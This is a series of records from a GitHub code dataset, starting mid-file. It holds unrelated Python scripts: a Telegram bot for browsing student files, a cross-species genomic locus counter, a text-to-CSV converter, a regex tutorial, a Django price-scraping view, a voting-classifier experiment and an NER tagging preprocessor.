page]:\n        buttons.append([types.InlineKeyboardButton(text=f\"{sub['name']}\", callback_data=f\"{sub['sub_id']}\")])\n\n    buttons.append([\n        types.InlineKeyboardButton(text=\"◀️\", callback_data=\"page_left_sub\"),\n        types.InlineKeyboardButton(text=f\"{page} / {max_page}\", callback_data=\"page_none\"),\n        types.InlineKeyboardButton(text=\"▶️\", callback_data=\"page_right_sub\"),\n    ])\n    buttons.append([types.InlineKeyboardButton(text=\"Главное меню\", callback_data=\"main_menu\")])\n    keyboard = types.InlineKeyboardMarkup(inline_keyboard=buttons)\n    await bot.edit_message_text(chat_id=chat_id, reply_markup=keyboard, text=msg, message_id=message_id)\n    await state.set_state(FindFile.askSubject)\n\n\nasync def show_files_list(callback: aiogram.types.CallbackQuery,\n                          state: aiogram.dispatcher.FSMContext):\n    \"\"\"\n    Показываем список файлов\n\n    :param callback: объект aiogram.types.CallbackQuery\n    :param state: aiogram.dispatcher.FSMContext\n    :return: None\n    \"\"\"\n    await state.update_data(subject=int(callback.data))\n    state_data = await state.get_data()\n\n    chat_id = callback.message.chat.id\n    message_id = callback.message.message_id\n\n    user = db.get_user_by_id(chat_id)\n    if user is None or len(user) == 0:\n        logging.error(f\"Пользователь не найден в функции show_files_list в showFiles, chat_id={chat_id}\")\n        return\n    user = user[0]\n\n    course = user['course']\n    direction = user['direction']\n    if 'subject' not in state_data:\n        subject = int(callback.data)\n    else:\n        subject = state_data['subject']\n    filesList = db.get_files_by_faculty(0, course, subject, direction)\n    if filesList is None:\n        buttons = [\n            [types.InlineKeyboardButton(text=\"Вернуться назад\", callback_data=\"ask_subject\")]\n        ]\n        keyboard = types.InlineKeyboardMarkup(inline_keyboard=buttons)\n        await bot.edit_message_text(\n            chat_id=chat_id,\n            reply_markup=keyboard,\n            text=\"Файлов не найдено(\",\n            message_id=message_id)\n        await state.set_state(FindFile.showFile)\n        return\n\n    max_page = math.ceil(len(filesList) / 8)\n    if \"page\" not in state_data:\n        await state.update_data(page=1)\n        page = 1\n    else:\n        page = int(state_data['page'])\n        if page <= 0:\n            page = 1\n            await state.update_data(page=page)\n            return\n        if page > max_page:\n            page = max_page\n            await state.update_data(page=page)\n            return\n\n    msg = \"Какой файл вы хотите посмотреть?\"\n    buttons = []\n    for file in filesList[8 * (page-1): 8 * page]:\n        if file['admin_check'] or user['is_admin']:\n            buttons.append([types.InlineKeyboardButton(text=f\"{file['filename']}\", callback_data=f\"{file['file_id']}\")])\n\n    buttons.append([\n        types.InlineKeyboardButton(text=\"◀️\", callback_data=\"page_left\"),\n        types.InlineKeyboardButton(text=f\"{page} / {max_page}\", callback_data=\"page_none\"),\n        types.InlineKeyboardButton(text=\"▶️\", callback_data=\"page_right\"),\n    ])\n    buttons.append([types.InlineKeyboardButton(text=\"Вернуться назад\", callback_data=\"ask_subject\")])\n    keyboard = types.InlineKeyboardMarkup(inline_keyboard=buttons)\n    try:\n        await bot.edit_message_text(chat_id=chat_id, reply_markup=keyboard, text=msg, message_id=message_id)\n        await state.set_state(FindFile.showFile)\n        await state.update_data(subject=subject)\n    except aiogram.utils.exceptions.MessageNotModified:\n        await callback.answer()\n\n\nasync def page(callback: aiogram.types.CallbackQuery,\n               state: aiogram.dispatcher.FSMContext):\n    \"\"\"\n    Изменение пагинации\n\n    :param callback: объект aiogram.types.CallbackQuery\n    :param state: aiogram.dispatcher.FSMContext\n    :return: пересылает на функцию show_files_list\n    \"\"\"\n    callback_data = callback.data\n    state_data = await state.get_data()\n    if callback_data == \"page_left\":\n        callback.data = state_data['subject']\n        await state.update_data(page=state_data['page'] - 1)\n    elif callback_data == \"page_left_sub\":\n        await state.update_data(page_sub=state_data['page_sub'] - 1)\n    elif callback_data == \"page_right\":\n        callback.data = state_data['subject']\n        await state.update_data(page=state_data['page'] + 1)\n    elif callback_data == \"page_right_sub\":\n        await state.update_data(page_sub=state_data['page_sub'] + 1)\n    await callback.answer()\n    if callback_data == \"page_none\":\n        return\n    if \"sub\" in callback_data:\n        await ask_subject(callback, state)\n        return\n    await show_files_list(callback, state)\n\n\nasync def show_file_info(callback: aiogram.types.CallbackQuery,\n                         state: aiogram.dispatcher.FSMContext):\n    \"\"\"\n    Показываем информацию о конкретном файле\n    \n    :param callback: объект aiogram.types.CallbackQuery\n    :param state: aiogram.dispatcher.FSMContext\n    :return: None\n    \"\"\"\n    chat_id = callback.message.chat.id\n    message_id = callback.message.message_id\n    file_id = int(callback.data)\n\n    user = db.get_user_by_id(chat_id)\n    if user is None or len(user) == 0:\n        logging.error(f\"Пользователь не найден в функции show_file_info в showFiles, chat_id={chat_id}\")\n        return\n    user = user[0]\n\n    file = db.get_files_by_file_id(file_id)\n    if file is None or len(file) == 0:\n        logging.error(f\"Файл не найден в функции show_file_info в showFiles, chat_id={chat_id}\")\n        return\n    file = file[0]\n\n    msg = mess_about_file(file)\n    buttons = [\n        [types.InlineKeyboardButton(text=\"Скачать\", callback_data=\"download\")],\n        [types.InlineKeyboardButton(text=\"Вернуться назад\", callback_data=\"show_files_list\")]\n    ]\n    if user['is_admin']:\n        buttons.append([types.InlineKeyboardButton(text=\"Удалить\", callback_data=\"delete\")])\n    if user['is_admin']:\n        if file['admin_check']:\n            buttons.append([types.InlineKeyboardButton(text=\"Заблокировать\", callback_data=\"ban\")])\n        else:\n            buttons.append([types.InlineKeyboardButton(text=\"Одобрить\", callback_data=\"un_bun\")])\n    keyboard = types.InlineKeyboardMarkup(inline_keyboard=buttons)\n    await bot.edit_message_text(chat_id=chat_id, reply_markup=keyboard, text=msg, message_id=message_id, parse_mode=types.ParseMode.MARKDOWN)\n    await state.set_state(FindFile.currentFile)\n    await state.update_data(file_id=file['file_id'])\n\n\ndef register_handle_showFiles(dp: aiogram.Dispatcher):\n    dp.register_callback_query_handler(ask_subject, state=FindFile.startFindFile)\n    dp.register_callback_query_handler(ask_subject, Text(equals=\"ask_subject\"), state=FindFile.showFile)\n\n    dp.register_callback_query_handler(page, Text(startswith=\"page\"), state=FindFile.askSubject)\n    dp.register_callback_query_handler(show_files_list, state=FindFile.askSubject)\n    dp.register_callback_query_handler(show_files_list, Text(equals=\"show_files_list\"), state=FindFile.currentFile)\n    dp.register_callback_query_handler(page, Text(startswith=\"page\"), state=FindFile.showFile)\n\n    dp.register_callback_query_handler(show_file_info, state=FindFile.showFile)\n","repo_name":"Atikin-NT/TelegramForStudent","sub_path":"scenarios/showFiles.py","file_name":"showFiles.py","file_ext":"py","file_size_in_byte":9547,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"34618436183","text":"#!/usr/bin/env python\n\n#(c) Hasiba Asma\n#December 2022\n\n\n#This script can be used to find hits per locus and size of locus\n#input directory should be the directory which contain all the output of bedtools closest command (make sure there is nothing else in there)\n\n\n#this function takes in ortholog dict file and species name and returns the dictionary compOrthoDict[speciesName][]\ndef orthologsList(orthoFile,speciesName):\n\tcompOrthoDict ={}\n\twith open(orthoFile) as orf:\n\t\tfor line in orf:\n\t\t\tgeneIDList=[]\n\t\t\tgeneID=''\n\t\t\tline=line.strip('\\n')\n\t\t\tcols=line.split('\\t')\n\t\t\torthologID=cols[0]\n\t\t\tif cols[1].find(',')!=-1:\n\t\t\t\tgeneIDList=cols[1].split(',')\n\t\t\t\tif speciesName not in compOrthoDict:\n\t\t\t\t\tcompOrthoDict[speciesName] = {}\n\t\t\t\tif orthologID not in compOrthoDict[speciesName]:\n\t\t\t\t\tcompOrthoDict[speciesName][orthologID] = geneIDList\n\t\t\t#if there is one gene associated with ortholog\n\t\t\telse:\n\t\t\t\tgeneID=cols[1]\n\t\t\t\tif speciesName not in compOrthoDict:\n\t\t\t\t\tcompOrthoDict[speciesName] = {}\n\t\t\t\tif orthologID not in compOrthoDict[speciesName]:\n\t\t\t\t\tcompOrthoDict[speciesName][orthologID]=geneID\n\treturn(compOrthoDict)\n\ndef dictionaryLocus(spex,locusName,scrmCoord):\n\t#diction={}\n\t#if locus not in dictionary add it now\n\tif spex not in diction:\n\t\tdiction[spex]={}\n\tif locusName not in diction[spex]:\n\t\t#print('flankedgenes not in dictionary yet')\n\t\tdiction[spex][locusName]=scrmCoord\n\n\t#and if it is already there add it in\n\telse:\n\t\tif scrmCoord not in diction[spex][locusName]:\n\t\t\t#print('flanking genes are ',flankedGenes,' butcoord ',coord,' not in dict ',diction[flankedGenes])\n\t\t\tdiction[spex][locusName]=diction[spex][locusName]+','+scrmCoord\n\t\t\t\t\t\t\t\t#print('added now? ',diction[flankedGenes] )\n\treturn(diction)\n# e.g.,\n#./checkSameLocus_ForSimulation.py shuffled_files/\n\nimport os\nimport sys\nimport argparse\nimport pprint\nimport re\nimport csv\nimport glob\n\ndiction={} \ndef main():\n\tspeciesList=[]\n\tcountOfSpecies={}\n\t\n\t#file=sys.argv[1]\n\t#takes directory instead\n\tdirectory_in_str=sys.argv[1]\n\tfbgnidFile=sys.argv[2]\n\t#ortho file\n#\tOrthodmelOFile=sys.argv[2]\n#\tOrthoaaegOFile=sys.argv[3]\n#\tOrthoagamOFile=sys.argv[4]\n\n\ta=os.getcwd()\n\tsubdirectory=a+'/'+directory_in_str.strip('/')\n\t#print(subdirectory)\n\n\t#dmelCompleteOrtholog= orthologsList(OrthoDmelOFile,'Dmel')\n\t#looping over all the files in the subdirectory\n\t#pprint.pprint(dmelCompleteOrtholog)\n\tfor root, dirs, files in os.walk(subdirectory):\n\t\tfor filename in files:\n\t\t\t#print(os.path.join(root, filename))\n\t\t\t#print(filename)\n\t\t\n\t\t\n\t\t\t#diction={} #this dictionary would save all locus such that leftFlankedGene-RightFlankedGene would be the key, and value would be all the hits in the locus\n\t\t\tsizeOfLocusDict={} #this dictionary will save size of locus as their values, and locus itself would be the keys\n\t\t\tintronDict={} #for each locus this dictionay would save if the hit is within intron \n\t\t\tlocusList=[] #saving all possible/unique locus as a list\t\t\t\n\t\t\t\n\t\t\t#speciesName=filename.split('_')[2].rstrip('.bed')\n\t\t\t\n\t\t\tstring_split = filename.split(\".\")\n\t\t\tlast_part = string_split[-2]\n\t\t\t#last_part_split = last_part.split(\"_\")\n\t\t\tspeciesName=last_part\t\n\t\n\t\t\t#print(speciesName)\n\t\t\tif speciesName not in speciesList:\n\t\t\t\tspeciesList.append(speciesName)\n\t\t\t#glob.glob('Ortho'+speciesName+'OFile')\n\t\t\t#dictFile='Ortho'+speciesName+'OFile'\n\t\t\t#print(dictFile)\n\t\t\tcompleteOrtholog= orthologsList(speciesName+'_ortholog_dictfile.txt',speciesName)\n\t\t\t#read bed file and create output file with HitsAndSizePerLocus_ beginning\n\n\t#reading all files one by one\n\t\t\twith open(os.path.join(root, filename),'r') as infile:\n\t\t\t\tfor line in infile:\n\t\t\t\t\t#print(line)\n\t\t\t\t\tcols=line.split('\\t')\n\t\t\t\t\tschr=cols[0]\n\t\t\t\t\tsstart=cols[1]\n\t\t\t\t\tsend=cols[2]\n\t\t\t\t\tleftF=cols[14]\n\t\t\t\t\trightF=cols[19]\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif (leftF!= '.') and (rightF!='.'):\n\t\t\t\t\t\t#print(leftF)\n\t\t\t\t\t\t#print(dmelCompleteOrtholog['Dmel'].items())\n\t\t\t\t\t\tfor keyO,valO in completeOrtholog[speciesName].items():\n\t\t\t\t\t\t\t#print(leftF,keyO)\n\t\t\t\t\t\t\tif leftF == keyO:\n\t\t\t\t\t\t\t\t#print(leftF,keyO)\n\t\t\t\t\t\t\t\t#print('present')\n\t\t\t\t\t\t\t\t#print(dmelCompleteOrtholog[speciesName][leftF])\n\t\t\t\t\t\t\t\tleftF=completeOrtholog[speciesName][leftF]\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\tfor keyO,valO in completeOrtholog[speciesName].items():\n\t\t\t\t\t\t\t#print(leftF,keyO)\n\t\t\t\t\t\t\tif rightF==keyO:\n\t\t\t\t\t\t\t\t#print('present')\n\t\t\t\t\t\t\t\t#print(dmelCompleteOrtholog[speciesName][leftF])\n\t\t\t\t\t\t\t\trightF=completeOrtholog[speciesName][rightF]\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t#print('none found')\n\t\t\t\t\t\t#try 2:\n\t\t\t\t\t\t#trying to see if there is a fly ortholog then replace the name with that\n\t\t\t\t\t\t\n# \t\t\t \t\t\tfor keyO,valO in completeOrtholog[speciesName].items():\n# \t\t\t\t\t\t\t#print(leftF,keyO)\n# \t\t\t\t\t\t\tif leftF in keyO:\n# \t\t\t\t\t\t\t\t#print('present')\n# \t\t\t\t\t\t\t\t#print(dmelCompleteOrtholog[speciesName][leftF])\n# \t\t\t\t\t\t\t\tleftF=completeOrtholog[speciesName][leftF]\n# \t\t\t\t\t\t\t\tbreak\n# \n# \t\t\t\t\t\tfor keyO,valO in completeOrtholog[speciesName].items():\n# \t\t\t\t\t\t\t#print(leftF,keyO)\n# \t\t\t\t\t\t\tif rightF in keyO:\n# \t\t\t\t\t\t\t\t#print('present')\n# \t\t\t\t\t\t\t\t#print(dmelCompleteOrtholog[speciesName][leftF])\n# \t\t\t\t\t\t\t\trightF=completeOrtholog[speciesName][rightF]\n# \t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t#if leftF in dmelCompleteOrtholog:\n\t\t\t\t\t\t#\tprint('yes')\n\t\t\t\t\t\t#\tprint(OrthoDmelOFile[leftF])\n\t\t\t\t\t\t#else:\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\tsizeOfSCRM=int(send)-int(sstart)\n\t\t\t\t\t\t#sizeOfLocus=sizeOfSCRM+abs(int(cols[15]))+abs(int(cols[20]))\n\t\t\t\t\t\tsizeOfLocus= (int(cols[17]))-(int(cols[13]))\n\t\t\n\t\t\t\t\t\t#exception case where SCRM is overlapping two genes, locus size would be end of right gene - start of left gene\n\t\t\t\t\t\tif (int(sstart) < int(cols[13])) and (int(sstart) < int(cols[17])) and (int(send) > int(cols[13])) and (int(send) > int(cols[17])):\n\t\t\t\t\t\t\tsizeOfLocus=(int(cols[18]))-(int(cols[12]))\n\n\t\t\t\t\t\tcoord=schr+':'+sstart+'-'+send\n\t\t\t\t\t\t#left and right flanked gene names- saving them together and calling this locus as 'flankedGenes'\n\t\t\t\t\t\t#print(leftF,rightF)\n\t\t\t\t\t\tflankedGenes=str(leftF)+'-'+str(rightF)\n\t\t\t\t\t\t#creating locuslist\n\t\t\t\t\t\tif flankedGenes not in locusList:\n\t\t\t\t\t\t\tlocusList.append(flankedGenes)\n\t\t\t\t\t\t\t#locusList.append(flankedGenes+':'+str(abs(sizeOfLocus)))\n\t\t\t\t\t\t\t#creating dictionary to save size of locus, flanked gene as a key\n\t\t\t\t\t\t\tif flankedGenes not in sizeOfLocusDict:\n\t\t\t\t\t\t\t\tsizeOfLocusDict[flankedGenes]=str(abs(sizeOfLocus))\n\t\t\t\n\t\t\t\t\t\t\t#adding intron information\n\t\t\t\t\t\t\tif leftF==rightF:\n\t\t\t\t\t\t\t\tintronDict[flankedGenes]='intronic'\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tintronDict[flankedGenes]='not-intronic'\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t#add this to a function.. create dictionary for each species i guess??\n\t\t\t\t\t\tdiction=dictionaryLocus(speciesName,flankedGenes,coord)\n\n\n\t\t\t#pprint.pprint(diction)\n\t\t\t#exit(0)\n\t\t\t#print(locusList)\n\t\t\t#if there is need to create a file for  size and hits per locus thing\n\t\t\t# with open('HitsAndSizePerLocus_'+filename,'w') as outfile:\n# \t\t\t\tfor item in diction[speciesName].keys():\n# \t\t\t\t\t#print(item)\n# \t\t\t\t\tscrms=diction[speciesName][item].split(',')\n# \t\t\t\t\t#print(scrms)\n# \t\t\t\t\t#print(item,' ',str(len(scrms)),' ',sizeOfLocusDict[item])\n# \t\t\t\t\toutfile.write(item+'\\t'+str(len(scrms))+'\\t'+sizeOfLocusDict[item]+'\\t'+intronDict[item]+'\\t'+filename+'\\n')\n# \t\t\t\t\t\n\t#go through all the dmel genes one by one and scanning all species locus directory, if present add + 1 to count dictionary\n\twith open(fbgnidFile, 'r') as fb:#, open('finalOutput_orthoPara_test.txt', 'a') as out:\n\t\tfor line in fb:\n\t\t\tif line.startswith('#') or line == '\\n':\n\t\t\t\tcontinue\n\n\t\t\telse:\n\n\t\t\t\tgeneFBsymb = line.strip('\\n')\n\t\t\t\tgeneID = geneFBsymb\n\t\t\t\t#print('geneid',geneID)\n\t\t\t\tif geneID not in countOfSpecies:\n\t\t\t\t\tcountOfSpecies[geneID]=0\n\t\t\t\tfor species in speciesList:\n\t\t\t\t\t#print(species)\n\t\t\t\t\tfor locus in diction[species]:\n\t\t\t\t\t\tout=0\n\t\t\t\t\t\t#print('locus',locus)\n\t\t\t\t\t\tgenes=locus.split('-')\n\t\t\t\t\t\tfor gene in genes:\n\t\t\t\t\t\t\t#print('gene',gene)\n\t\t\t\t\t\t\t#print('geneid',geneID)\n\t\t\t\t\t\t\tif geneID==gene:\n\t\t\t\t\t\t\t\t#print(geneID,gene)\n\t\t\t\t\t\t\t\t#print('break')\n\t\t\t\t\t\t\t\tcountOfSpecies[geneID]+=1\n\t\t\t\t\t\t\t\tout=1\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tif out==1:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t#pprint.pprint(countOfSpecies)\n\t\t\n\t\t#\n\t\t#geneListGreaterThan1=[word for word, occurrences in countOfSpecies.items() if occurrences >= 1]\n\t\tgeneListGreaterThan5=[word for word, occurrences in countOfSpecies.items() if occurrences >= 5]\n\t\tgeneListGreaterThan10=[word for word, occurrences in countOfSpecies.items() if occurrences >= 10]\n\t\tgeneListGreaterThan11=[word for word, occurrences in countOfSpecies.items() if occurrences >= 11]\n\t\tgeneListGreaterThan12=[word for word, occurrences in countOfSpecies.items() if occurrences >= 12]\n\t\tgeneListGreaterThan13=[word for word, occurrences in countOfSpecies.items() if occurrences >= 13]\n\t\tgeneListGreaterThan14=[word for word, occurrences in countOfSpecies.items() if occurrences >= 14]\n\t\tgeneListGreaterThan15=[word for word, occurrences in countOfSpecies.items() if occurrences >= 15]\n\t\tgeneListGreaterThan16=[word for word, occurrences in countOfSpecies.items() if occurrences >= 16]\n\t\t#print(geneListGreaterThan16)\n\t\tprint(len(geneListGreaterThan5),len(geneListGreaterThan10),len(geneListGreaterThan11),len(geneListGreaterThan12),len(geneListGreaterThan13),len(geneListGreaterThan14),len(geneListGreaterThan15),len(geneListGreaterThan16))\n\t\t#['who', 'joey']\n\t\t\t\t# for k, v in diction.items():\n# \t\t\t\t\tprint('v',v)\n# \t\t\t\t\tfor x in v.items():\n# \t\t\t\t\n# \t\t\t\t\t\tprint('x',x)\n# \t\t\t\t\t\tprint('xkey',x.keys())\n\t\t\nmain()\n","repo_name":"HalfonLab/UtilityPrograms","sub_path":"checkSameLocus_ForSimulations_crossSpecies.py","file_name":"checkSameLocus_ForSimulations_crossSpecies.py","file_ext":"py","file_size_in_byte":9369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"7636342691","text":"# This code takes the data from the text file and adds it to the csv file.\nimport re\nimport csv\n\nnumber_of_questions = 16\nnumber_of_options = 5\n\nnumber_of_studs = 10\nw, h = number_of_questions*number_of_options + 2, number_of_studs;\n\nMatrix = [[\"0\" for x in range(w)] for y in range(h)] \n\ndef initr():\n    with open(\"/Users/pavan/Desktop/Research/Masters_Project/SRC/assessments/assess1_LP.txt\",'r') as f:\n        mylist = f.read().splitlines() \n    return mylist\n\ndef scrape(lines):\n    ID = []\n    r = 1\n    for line in lines:\n        my_list = line.split(\"&\")\n        for obj in my_list:\n            keyval = obj.split(\"=\")\n            if keyval[0] == \"ID\":\n                c = 0\n            elif keyval[0] == \"time\":\n                c = 1\n            else:\n                c = int(keyval[0]) + 1\n\n            if keyval[1] == \"on\":\n                val = \"1\"\n            else:\n                val = keyval[1]\n\n            Matrix[r][c] = val \n            Matrix[0][0] = \"ID\"\n            Matrix[0][1] = \"Time\"\n        r = r + 1\n    return Matrix,r-1\n\n# WIPES PREVIOUS ENTRIES INTO CSV. SAVE INSTANCE!!\ndef save_to_csv(db,r):     \n    with open(\"/Users/pavan/Desktop/Research/Masters_Project/SRC/assessments/assess1_LP.csv\", \"wb\") as f:\n        writer = csv.writer(f)\n        writer.writerows(db[0:r+1][:])   \n\nif __name__ == '__main__':\n    lines = initr()\n    db,r = scrape(lines)\n    save_to_csv(db,r)\n\n","repo_name":"pholur/Causal-Inf-Model","sub_path":"toCSV.py","file_name":"toCSV.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"9614111469","text":"import re\n\n# the following are the regular expressions patterns\n# .       - Any Character Except New Line\n# \\d      - Digit (0-9)\n# \\D      - Not a Digit (0-9)\n# \\w      - Word Character (a-z, A-Z, 0-9, _)\n# \\W      - Not a Word Character\n# \\s      - Whitespace (space, tab, newline)\n# \\S      - Not Whitespace (space, tab, newline)\n\n# the following are anchors for patterns\n# \\b      - Word Boundary (Whitespace (space, tab, newline) before the pattern)\n# \\B      - Not a Word Boundary (NO Whitespace (space, tab, newline) before the pattern)\n# ^       - Beginning of a String (only recognizes matches the are at the very beginning of the string)\n# $       - End of a String (only recognizes matches the are at the very end of the string)\n\n# []      - Matches Characters in brackets (only find matches that are in the character set) (character sets don't need to be escaped and are not in any order)\n# [^ ]    - Matches Characters NOT in brackets\n# |       - Either Or\n# ( )     - Group (this allows us to use different patterns in the same locations with using | between our different patterns)\n\n# Quantifiers: (used after the pattern)\n# *       - 0 or More\n# +       - 1 or More\n# ?       - 0 or One\n# {3}     - Exact Number\n# {3,4}   - Range of Numbers (Minimum, Maximum)\n\n\n# #### Sample Regexs ####\n\n# [a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+\n\n\ntext_to_search = \"\"\"\nabcdefghijklmnopqurtuvwxyz\nABCDEFGHIJKLMNOPQRSTUVWXYZ\n1234567890\n\nHa HaHa\n\nMetaCharacters (Need to be escaped):\n. ^ $ * + ? { } [ ] \\ | ( )\n\ncoreyms.com\n\n321-555-4321\n123.555.1234\n123*555*1234\n800-555-1234\n900-555-1234\n\nMr. Schafer\nMr Smith\nMs Davis\nMrs. Robinson\nMr. T\n\npat\nmat\ncat\nbat\n\"\"\"\nsentence = \"Start a sentence and then bring it to an end\"\n\n\npattern = re.compile(r\"\\d{3}.\\d{3}.\\d{4}\")\nmatches = pattern.finditer(text_to_search)\n\n# for match in matches:\n#     print(match)\n\npattern = re.compile(r\"Mr\\.?\\s[A-Z]\\w*\")\nmatches = pattern.finditer(text_to_search)\n\n# for match in matches:\n#     print(match)\n\n# using groups is the best way to match different patterns in one location\npattern = re.compile(r\"(Mr|Ms|Mrs)\\.?\\s[A-Z]\\w*\")\nmatches = pattern.finditer(text_to_search)\n\nfor match in matches:\n    print(match)\n","repo_name":"OmidReisi/Python_Tutorials","sub_path":"Advanced/RegEx/regex_5.py","file_name":"regex_5.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"33373818841","text":"from django.shortcuts import render\nfrom sinapi.models import Material as sinapi_Material\nfrom .models import Material,Material_Historico_Precos\nfrom classifier.NCM import NCM\nfrom classifier.Request import RequestSEFAZ\nfrom classifier.KNN import KNN\nfrom django.db import IntegrityError\nfrom AquiSeFaz.views import retriveAPIs\nimport pandas as pd\n\n# Create your views here.\n\ndef ecoal():\n    try:\n        print(\"Atualizando Economiza Alagoas\")\n        base = NCM(None)\n        base.data = pd.DataFrame(list(sinapi_Material.objects.all().values('cod', 'description')))\n        base.generalizeString(column='description')\n        knn = KNN('classifier/train_NCM.csv', 6)\n\n        #codSinapi, ncm, description, price\n        for row in base.data.iterrows():\n            termo = row[1]['description']\n            r = RequestSEFAZ()\n            ecoData = r.request(term=termo)\n\n            for dictionary in ecoData.json():\n                if (knn.classifier(int(dictionary['codNcm'])) == \"MATERIAIS DE CONSTRUCAO\"):\n                    try:\n                        newMaterial,created = Material.objects.get_or_create(\n                            codSinapi=row[1]['cod'],\n                            codGtin=dictionary['codGetin'],\n                            ncm=dictionary['codNcm'],\n                            description=dictionary['dscProduto']\n                        )\n                    except IntegrityError: continue\n                    except:\n                        return False\n                    \n                    try:\n                        newMaterialPreco = Material_Historico_Precos(\n                            idMaterial=newMaterial,\n                            price=dictionary['valUnitarioUltimaVenda']\n                        )\n\n                        newMaterialPreco.save()\n                    except IntegrityError: continue\n                    except:\n                        return False\n        return True\n    except:\n        return False\n","repo_name":"rwnicholas/scaling-computing-machine","sub_path":"EcoAL/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13207502327","text":"# -*- coding: UTF-8 -*-\r\n\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nfrom sklearn.ensemble import VotingClassifier\r\nfrom sklearn.svm import SVC\r\nfrom sklearn.linear_model import LogisticRegression\r\nfrom data_picture_util import plot_confusin_pictures ,read_pkl_data,read_ups_data\r\nimport numpy as np\r\nfrom sklearn.metrics import accuracy_score\r\n\r\n\r\ndef main(X_train, y_train,X_test, y_test ,savename):\r\n\r\n    cart = DecisionTreeClassifier()\r\n    models = []\r\n    model_log = LogisticRegression()\r\n    models.append(('log',model_log))\r\n    print(\"model1 created....\")\r\n    model_cart = DecisionTreeClassifier()\r\n    models.append(('cart',model_cart))\r\n    print(\"model2 created....\")\r\n    model_svc = SVC()\r\n    models.append(('svm',model_svc))\r\n    print(\"model3 created....\")\r\n    ensemble_model = VotingClassifier(estimators=models)\r\n    ensemble_model.fit(X_train, y_train)\r\n    accuracy=ensemble_model.score(X_train, y_train)\r\n    print(\"model_traiing_accuracy %f\"%accuracy)\r\n    print(\"prediction....\")\r\n    predictions=ensemble_model.predict(X_test)\r\n    print(predictions)\r\n    predictions_accuracy=accuracy_score(y_test, predictions)\r\n    print(\"model_testing_accuracy %f\"%predictions_accuracy)\r\n    plot_confusin_pictures(y_test,predictions,save_name='voting_confusion_matrix_%s.png'%savename)\r\nif __name__ == '__main__':\r\n    # # ********************************************************\r\n    # _train, y_train, X_test, y_test = read_pkl_data()\r\n    # main(X_train, y_train,X_test, y_test ,\"data1\")\r\n\r\n    # # # ********************************************************\r\n    X_train, y_train, _, _ = read_pkl_data()\r\n    X_test, y_test ,_ ,_= read_ups_data()\r\n    main(X_train, y_train ,X_test, y_test ,\"data2\")\r\n    # ##################################################################################\r\n\r\n\r\n\r\n\r\n","repo_name":"ZitongLi-Rice/COMP576_Projects","sub_path":"bagging_data.py","file_name":"bagging_data.py","file_ext":"py","file_size_in_byte":1878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"35835475575","text":"# %%\ndef bio(chars, tag):\n    tag = tag.upper()\n    if tag == 'O':\n        tags = [tag] * len(chars)\n    else:\n        tags = ['B-'+tag] + ['I-'+tag] * (len(chars) - 1)\n    return list(zip(chars, tags))\n\ndef bioes(chars, tag):\n    tag = tag.upper()\n    if tag == 'O':\n        tags = [tag] * len(chars)\n    elif len(chars) == 1:\n        tags = ['S-'+tag]\n    else:\n        tags = ['B-'+tag] + ['I-'+tag] * (len(chars) - 2) + ['E-'+tag]\n    return list(zip(chars, tags))\n# %%\ndef process(file, target, mode = \"bio\"):\n    if mode == \"bio\":\n        labeling = bio\n    elif mode == \"bioes\":\n        labeling = bioes\n    else:\n        raise NotImplementedError\n    with open(file, encoding=\"utf-8\")as f:\n        lines = f.readlines()\n    new_lines = []\n    for line in lines:\n        new_line = []\n        line = line.strip()\n        words = line.split(\" \")\n        for word in words:\n            chars, tag = word.split(\"/\")\n            new_line += labeling(chars, tag)\n        new_lines.append(new_line)\n    with open(target, \"w\", encoding=\"utf-8\")as fw:\n        fw.writelines(\"\\n\\n\".join([\"\\n\".join([\" \".join(pair) for pair in line]) for line in new_lines]))\n\n\n# %%\nif __name__ == \"__main__\":\n    process(\"./data/raw/train1.txt\", \"./data/processed/train1_bio.txt\", \"bio\")\n    process(\"./data/raw/train1.txt\", \"./data/processed/train1_bioes.txt\", \"bioes\")\n    process(\"./data/raw/testright1.txt\", \"./data/processed/testright_bio.txt\", \"bio\")\n    process(\"./data/raw/testright1.txt\", \"./data/processed/testright_bioes.txt\", \"bioes\")\n\n# %%\n","repo_name":"Rainymax/entity_recognition","sub_path":"preprocess_answer.py","file_name":"preprocess_answer.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
